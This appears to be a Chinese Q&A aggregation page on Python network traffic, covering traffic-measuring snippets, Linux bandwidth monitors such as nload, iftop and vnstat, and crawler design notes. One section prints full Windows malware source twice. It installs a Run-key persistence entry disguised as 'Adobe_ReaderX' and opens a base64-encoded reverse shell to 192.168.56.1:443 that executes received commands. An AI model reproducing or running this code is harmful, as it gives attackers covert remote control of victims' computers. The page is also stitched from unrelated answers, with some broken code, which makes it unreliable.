python网络流量

Ⅰ python 怎么获取一个端口或者一个进程的网络流量

import socket
import struct
import thread
import threading
import time
import os

net_data = {}
d_net_info = {}
lock = threading.Lock()

def print_data():
while True:
lock.acquire()
for key in net_data:
print "%s %s\n"%(key, net_data[key])
lock.release()
time.sleep(5);

def get_net_info():
net_info = os.popen('netstat -nbo').readlines()

for l in net_info[4:]:
s = l.split()
if len(s)>2:
key = "%s %s"%(s[1],s[2])
key2 = "%s %s"%(s[2],s[1])
else:
if not d_net_info.has_key(key):
d_net_info[key] = s[0]
d_net_info[key2] = s[0]

def get_packet():
HOST = socket.gethostbyname(socket.gethostname())
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
s.bind((HOST, 0))

Ⅱ python接收数据为字符串怎么计算数据流量

将字符转字节，再计算字节长度即流量大小（单位：B）

Size = len(bytes("mystr", "utf-8"))

个人博客：CSDN

Ⅲ python能做流量回放吗

可以。对于单个请求的回放不难做，本项目主要是简单封装了python requests模块来实现。

Ⅳ 关于监控系统进程网络流量，如何把下面Python的源代码做成EXE并在这个可执行文件中添加管理进程的模块

把这个东西改名成ce.PY
然后放到EXE同目录下..
再用import ce
就可以啦
我QQ475090118

Ⅳ 如何用Python和PyInstaller编写Windows恶意代码

import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
os.system(' %s %s'%(fileName, tempdir))
# Queries Windows registry for key values
# Appends autorun key to runkey array
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# Set autorun key:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass
在将代码放到 %TEMP%目录中并且设置了持续性之后，我们就可以执行下一部分代码，反向的壳。这里我利用了TrustedSec公布的python的反向shell，不过进行了一些修改—对网络流量进行Base64编码。
def shell():#Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.1', int(443))) s.send('[*] Connection Established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close()def main(): tempdir = '%TEMP%' fileName = sys.argv[0] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell()if __name__ == "__main__": main()
现在当这个程序执行时，它将会打开一个反向shell返回到“攻击者”。在这种情况下“攻击者”只是脚本中硬编码的ip，但在一个域或者亚马逊云上却是非常简单轻松的。下图展示了程序在Windows主机上执行并连接到攻击者，你可以注意到这里的网络流量是base64编码的：

以下是完整的代码：
import sys, base64, os, socket, subprocessfrom _winreg import *def autorun(tempdir, fileName, run):# Copy executable to %TEMP%: os.system(' %s %s'%(fileName, tempdir))# Queries Windows registry for the autorun key value# Stores the key values in runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0 while True: subkey = EnumValue(key, i) runkey.append(subkey[0]) i += 1 except WindowsError: pass# If the autorun key "Adobe ReaderX" isn't set this will set the key: if 'Adobe ReaderX' not in runkey: try: key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS) SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe") key.Close() except WindowsError: passdef shell():#Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.1', int(443))) s.send('[*] Connection Established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close()def main(): tempdir = '%TEMP%' fileName = sys.argv[0] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell()if __name__ == "__main__": main()

Ⅵ 如何安装网络流量监控工具vnStat和vnStati

下面是按功能划分的命令名称。
监控总体带宽使用――nload、bmon、slurm、bwm-ng、cbm、speedometer和netload
监控总体带宽使用（批量式输出）――vnstat、ifstat、dstat和collectl
每个套接字连接的带宽使用――iftop、iptraf、tcptrack、pktstat、netwatch和trafshow
每个进程的带宽使用――nethogs
1. nload

nload是一个命令行工具，让用户可以分开来监控入站流量和出站流量。它还可以绘制图表以显示入站流量和出站流量，视图比例可以调整。用起来很简单，不支持许多选项。
所以，如果你只需要快速查看总带宽使用情况，无需每个进程的详细情况，那么nload用起来很方便。
$ nload

安装nload：Fedora和Ubuntu在默认软件库里面就有nload。CentOS用户则需要从Epel软件库获得nload。
# fedora或centos $ yum install nload -y # ubuntu/debian $ sudo apt-get install nload

2. iftop
iftop可测量通过每一个套接字连接传输的数据；它采用的工作方式有别于nload。iftop使用pcap库来捕获进出网络适配器的数据包，然后汇总数据包大小和数量，搞清楚总的带宽使用情况。
虽然iftop报告每个连接所使用的带宽，但它无法报告参与某个套按字连接的进程名称/编号（ID）。不过由于基于pcap库，iftop能够过滤流量，并报告由过滤器指定的所选定主机连接的带宽使用情况。
$ sudo iftop -n

n选项可以防止iftop将IP地址解析成主机名，解析本身就会带来额外的网络流量。

安装iftop：Ubuntu/Debian/Fedora用户可以从默认软件库获得它。CentOS用户可以从Epel获得它。
# fedora或centos yum install iftop -y # ubuntu或 debian $ sudo apt-get install iftop

3. iptraf
iptraf是一款交互式、色彩鲜艳的IP局域网监控工具。它可以显示每个连接以及主机之间传输的数据量。下面是屏幕截图。

$ sudo iptraf

安装iptraf：
# Centos（基本软件库） $ yum install iptraf # fedora或centos（带epel） $ yum install iptraf-ng -y # ubuntu或debian $ sudo apt-get install iptraf iptraf-ng

4. nethogs
nethogs是一款小巧的"net top"工具，可以显示每个进程所使用的带宽，并对列表排序，将耗用带宽最多的进程排在最上面。万一出现带宽使用突然激增的情况，用户迅速打开nethogs，就可以找到导致带宽使用激增的进程。nethogs可以报告程序的进程编号（PID）、用户和路径。
$ sudo nethogs

安装nethogs：Ubuntu、Debian和Fedora用户可以从默认软件库获得。CentOS用户则需要Epel。
# ubuntu或debian（默认软件库） $ sudo apt-get install nethogs # fedora或centos（来自epel） $ sudo yum install nethogs -y

5. bmon
bmon（带宽监控器）是一款类似nload的工具，它可以显示系统上所有网络接口的流量负载。输出结果还含有图表和剖面，附有数据包层面的详细信息。

安装bmon：Ubuntu、Debian和Fedora用户可以从默认软件库来安装。CentOS用户则需要安装repoforge，因为Epel里面没有bmon。
# ubuntu或debian $ sudo apt-get install bmon # fedora或centos（来自repoforge） $ sudo yum install bmon

bmon支持许多选项，能够制作HTML格式的报告。欲知更多信息，请参阅参考手册页。
6. slurm
slurm是另一款网络负载监控器，可以显示设备的统计信息，还能显示ASCII图形。它支持三种不同类型的图形，使用c键、s键和l键即可激活每种图形。slurm功能简单，无法显示关于网络负载的任何更进一步的详细信息。
$ slurm -s -i eth0

安装slurm
# debian或ubuntu $ sudo apt-get install slurm # fedora或centos $ sudo yum install slurm -y

7. tcptrack
tcptrack类似iftop，使用pcap库来捕获数据包，并计算各种统计信息，比如每个连接所使用的带宽。它还支持标准的pcap过滤器，这些过滤器可用来监控特定的连接。

安装tcptrack：Ubuntu、Debian和Fedora在默认软件库里面就有它。CentOS用户则需要从RepoForge获得它，因为Epel里面没有它。
# ubuntu, debian $ sudo apt-get install tcptrack # fedora, centos（来自repoforge软件库） $ sudo yum install tcptrack

8. vnstat
vnstat与另外大多数工具有点不一样。它实际上运行后台服务/守护进程，始终不停地记录所传输数据的大小。之外，它可以用来制作显示网络使用历史情况的报告。
$ service vnstat status * vnStat daemon is running

运行没有任何选项的vnstat，只会显示自守护进程运行以来所传输的数据总量。
$ vnstat Database updated: Mon Mar 17 15:26:59 2014 eth0 since 06/12/13 rx: 135.14 GiB tx: 35.76 GiB total: 170.90 GiB monthly rx | tx | total | avg. rate ------------------------+-------------+-------------+------------- Feb '14 8.19 GiB | 2.08 GiB | 10.27 GiB | 35.60 kbit/s Mar '14 4.98 GiB | 1.52 GiB | 6.50 GiB | 37.93 kbit/s ------------------------+-------------+-------------+------------- estimated 9.28 GiB | 2.83 GiB | 12.11 GiB | daily rx | tx | total | avg. rate ------------------------+-------------+-------------+------------- yesterday 236.11 MiB | 98.61 MiB | 334.72 MiB | 31.74 kbit/s today 128.55 MiB | 41.00 MiB | 169.56 MiB | 24.97 kbit/s ------------------------+-------------+-------------+------------- estimated 199 MiB | 63 MiB | 262 MiB |

想实时监控带宽使用情况，请使用"-l"选项（实时模式）。然后，它会显示入站数据和出站数据所使用的总带宽量，但非常精确地显示，没有关于主机连接或进程的任何内部详细信息。
$ vnstat -l -i eth0 Monitoring eth0... (press CTRL-C to stop) rx: 12 kbit/s 10 p/s tx: 12 kbit/s 11 p/s

vnstat更像是一款制作历史报告的工具，显示每天或过去一个月使用了多少带宽。它并不是严格意义上的实时监控网络的工具。
vnstat支持许多选项，支持哪些选项方面的详细信息请参阅参考手册页。
安装vnstat
# ubuntu或debian $ sudo apt-get install vnstat # fedora或 centos（来自epel） $ sudo yum install vnstat

9. bwm-ng
bwm-ng（下一代带宽监控器）是另一款非常简单的实时网络负载监控工具，可以报告摘要信息，显示进出系统上所有可用网络接口的不同数据的传输速度。
$ bwm-ng bwm-ng v0.6 (probing every 0.500s), press 'h' for help input: /proc/net/dev type: rate / iface Rx Tx T ot================================================================= == eth0: 0.53 KB/s 1.31 KB/s 1.84 KB lo: 0.00 KB/s 0.00 KB/s 0.00 KB------------------------------------------------------------------------------------------------------------- total: 0.53 KB/s 1.31 KB/s 1.84 KB/s

如果控制台足够大，bwm-ng还能使用curses2输出模式，为流量绘制条形图。
$ bwm-ng -o curses2

安装bwm-ng：在CentOS上，可以从Epel来安装bwm-ng。
# ubuntu或debian $ sudo apt-get install bwm-ng # fedora或centos（来自epel） $ sudo apt-get install bwm-ng

10. cbm：Color Bandwidth Meter

这是一款小巧简单的带宽监控工具，可以显示通过诸网络接口的流量大小。没有进一步的选项，仅仅实时显示和更新流量的统计信息。
$ sudo apt-get install cbm

11. speedometer
这是另一款小巧而简单的工具，仅仅绘制外观漂亮的图形，显示通过某个接口传输的入站流量和出站流量。
$ speedometer -r eth0 -t eth0

安装speedometer
# ubuntu或debian用户 $ sudo apt-get install speedometer

12. pktstat

pktstat可以实时显示所有活动连接，并显示哪些数据通过这些活动连接传输的速度。它还可以显示连接类型，比如TCP连接或UDP连接；如果涉及HTTP连接，还会显示关于HTTP请求的详细信息。
$ sudo pktstat -i eth0 -nt $ sudo apt-get install pktstat

13. netwatch

netwatch是netdiag工具库的一部分，它也可以显示本地主机与其他远程主机之间的连接，并显示哪些数据在每个连接上所传输的速度。
$ sudo netwatch -e eth0 -nt $ sudo apt-get install netdiag

14. trafshow
与netwatch和pktstat一样，trafshow也可以报告当前活动连接、它们使用的协议以及每条连接上的数据传输速度。它能使用pcap类型过滤器，对连接进行过滤。
只监控TCP连接

$ sudo trafshow -i eth0 tcp $ sudo apt-get install netdiag

15. netload
netload命令只显示关于当前流量负载的一份简短报告，并显示自程序启动以来所传输的总字节量。没有更多的功能特性。它是netdiag的一部分。

$ netload eth0 $ sudo apt-get install netdiag

16. ifstat
ifstat能够以批处理式模式显示网络带宽。输出采用的一种格式便于用户使用其他程序或实用工具来记入日志和分析。
$ ifstat -t -i eth0 0.5 Time eth0 HH:MM:SS KB/s in KB/s out 09:59:21 2.62 2.80 09:59:22 2.10 1.78 09:59:22 2.67 1.84 09:59:23 2.06 1.98 09:59:23 1.73 1.79

安装ifstat：Ubuntu、Debian和Fedora用户在默认软件库里面就有它。CentOS用户则需要从Repoforge获得它，因为Epel里面没有它。
# ubuntu, debian $ sudo apt-get install ifstat # fedora, centos（Repoforge） $ sudo yum install ifstat

17. dstat
dstat是一款用途广泛的工具（用python语言编写），它可以监控系统的不同统计信息，并使用批处理模式来报告，或者将相关数据记入到CSV或类似的文件。这个例子显示了如何使用dstat来报告网络带宽。
安装dstat
$ dstat -nt -net/total- ----system---- recv send| time 0 0 |23-03 10:27:13 1738B 1810B|23-03 10:27:14 2937B 2610B|23-03 10:27:15 2319B 2232B|23-03 10:27:16 2738B 2508B|23-03 10:27:17

18. collectl
collectl以一种类似dstat的格式报告系统的统计信息；与dstat一样，它也收集关于系统不同资源（如处理器、内存和网络等）的统计信息。这里给出的一个简单例子显示了如何使用collectl来报告网络使用/带宽。
$ collectl -sn -oT -i0.5 waiting for 0.5 second sample... # <----------Network----------> #Time KBIn PktIn KBOut PktOut 10:32:01 40 58 43 66 10:32:01 27 58 3 32 10:32:02 3 28 9 44 10:32:02 5 42 96 96 10:32:03 5 48 3 28

安装collectl
# Ubuntu/Debian用户 $ sudo apt-get install collectl #Fedora $ sudo yum install collectl

Ⅶ python自动化脚本检测是否开启流量

会开启流量的，需要注意流量使用情况。尽量使用WIFI链接，一则稳定。二则传输速度快

Ⅷ Python分布式爬虫开发搜索引擎课程怎么样

1、 网络连接需要持续连接（persistent connection），DNS解析的瓶颈（先查本地DNS缓存）

实现方法:基于python httplib（对http1.1完成对持续连接的支持(python的httplib完全支持http1.1)，如果不是http1.1那么可以使用urlopen对其进行一次连接）并对其socket对象进行控制,关键是加入对读取DNS本地缓存(在我的机制下这个根本就不是主要问题可以暂时忽略)，以及有settimeout(Igloo)(搞定,就用setdefaulttimeout())的支持(或者利用自己的DNS服务器,进行优化处理),以及对sock对象的settimeout进行设置,防止长时间的等待一个有可能连接不上的web服务器.(要测试一下连接模块和DNS解析模块在访问不存在url在默认情况下的时间消耗)对站点的ip解析出来后就直接用ip进行连接而避免了重复调用DNS解析.例子:socket.gethostbyname("www.163.com")

网络连接下载模块非常重要，需要精心反复测试，因为有可能碰到一些不规范的web服务器，如果没有加以考虑会使整个线程崩溃。

2、 多线程:机器任务的分配及站点任务的分配。

实现方法：（在某台机器上实现，在对本机内存cpu的消耗情况判断后对机器任务进行分配；在对和站点的连接情况进行判断后对站点任务进行分配）
机器任务的分配：对于机器负担的情况调整在一个机器开的线程的个数。（在关闭线程时注意要先让线程完成当前运行任务）
站点任务的分配：就是某个机器对一个站点开的线程的个数的分配。（同样是要注意关闭线程时先让其完成当前任务）

3、 对web文件树遍历过程更好的控制，对web文件树在广度优先遍历时层次的判断。（整个网络是一个图，而某个站点的模型更接近于一棵树）

实现方法：在每个地址进入队列时加一个层次号，那么要遍历第n层的话那么遍历到第一个n+1就停止读取。

4、 利用robotparser解析robots.txt

5、 单个机器spider的作用：

a) 同2多线程3文件树的遍历

b) 将获取的外部url发回中央控制器，并从中央控制器取回新的外部url。

6、 中央控制器的作用：

a) 观察各机器的状态包括：cpu、内存、线程、站点、网络流量
b) 观察对外整体网络流量和连接状况，可以根据网络状况来调节timeout。

c) 接受各个机器发送过来的外部url并对每个url的重复数字计数。然后分配到各个机器。（分配时要用爬行策略控制器对外部url进行排序来分配，Igloo利用Page Rank，我们可以使用最简单的重复越多重要系数就越高来进行排序）

d) 分布式URL分配算法：Igloo1.2的二级哈希映射算法（集中式分配算法那个中央控制器容易成为系统瓶颈）复习哈希算法，还有就是对url是否访问过的判断（Igloo使用的是URL Trie滞后合并策略）。可以使用Berkeley DB作为URL Trie的替代品。两种实现方式的比较：

i. 现在的想法：（面向站点，信息颗粒大）外部链接只是保存主机名比如:www.163.com, 站内访问用解析好的ip地址维持连接，用相对链接来得到各个页面，这样就要维护一个外部链接列表，几个站点的链接列表。优点：节省内存，对某个站点的信息获取全面，对站点的出现频率统计，排序，重要站点先取。 缺点：对链接的获取的全面性得不到保证，而且不能获取更多的重要页面，每个站点的重要页面也不会很多。
ii. 老方案：（面向页面，信息颗粒小）所有连接一视同仁。缺点：浪费资源，对单一站点的获取不一定全面。优点：可以得到全面的链接图，可以使用Page Rank对列表进行排序，页面更重要就在最前面。

7、 解析html（超级链接的提取）搞定（用python的sgmllib）缺点：速度太慢（可能会造成瓶颈，要好好包装好，以后有机会换掉它）

Ⅸ python可以用来干嘛

·Web应用开发
Python常被用于Web开发，随着Python的Web开发框架逐渐成熟，如Django、flask等等，开发者们可以更轻松地开发和管理复杂的Web程序。通过mod_wsgi模块，Apache可以运行Python编写的Web程序，举个最直观的例子，全球最大的搜索引擎
Google，在其网络搜索系统中就广泛使用 Python 语言。另外，我们经常访问的集电影、读书、音乐于一体的豆瓣网(如图 1 所示)，也是使用 Python
实现的。不仅如此，全球最大的视频网站 Youtube 以及 Dropbox(一款网络文件同步工具)也都是用 Python 开发的。
·自动化运维
Python 是标准的系统组件，可以在终端下直接运行 Python。有一些 Linux 发行版的安装器使用 Python 语言编写，例如 Ubuntu 的
Ubiquity 安装器、Red Hat Linux 和 Fedora 的 Anaconda 安装器等等。另外，Python
标准库中包含了多个可用来调用操作系统功能的库。例如，通过 pywin32 这个软件包，我们能访问 Windows 的 COM 服务以及其他 Windows
API;使用 IronPython，我们能够直接调用 .Net Framework。
·人工智能领域
人工智能是现如今非常火的一个方向， Python
在人工智能领域内的机器学习、神经网络、深度学习等方面，都是主流的编程语言。可以这么说，基于大数据分析和深度学习发展而来的人工智能，其本质上已经无法离开
Python 的支持了。
·网络爬虫
Python语言很早就用来编写网络爬虫。Google 等搜索引擎公司大量地使用 Python 语言编写网络爬虫。从技术层面上将，Python
提供有很多服务于编写网络爬虫的工具，例如 urllib、Selenium 和 BeautifulSoup 等，还提供了一个网络爬虫框架 Scrapy。
·游戏开发
很多游戏都是使用C++编写图形显示等高性能的模块，使用Python或Lua编写游戏的逻辑，相比Python，Lua的功能更简单，体积也更小，但Python支持更多的特性和数据类型。除此之外，Python
可以直接调用 Open GL 实现 3D 绘制，这是高性能游戏引擎的技术基础。事实上，有很多 Python 语言实现的游戏引擎，例如 Pygame、Pyglet
以及 Cocos 2d 等。

Ⅹ Python如何读取指定程序的上传流量和下载流量，并进行调节

在没有扩展模块支持下，Python不能完成。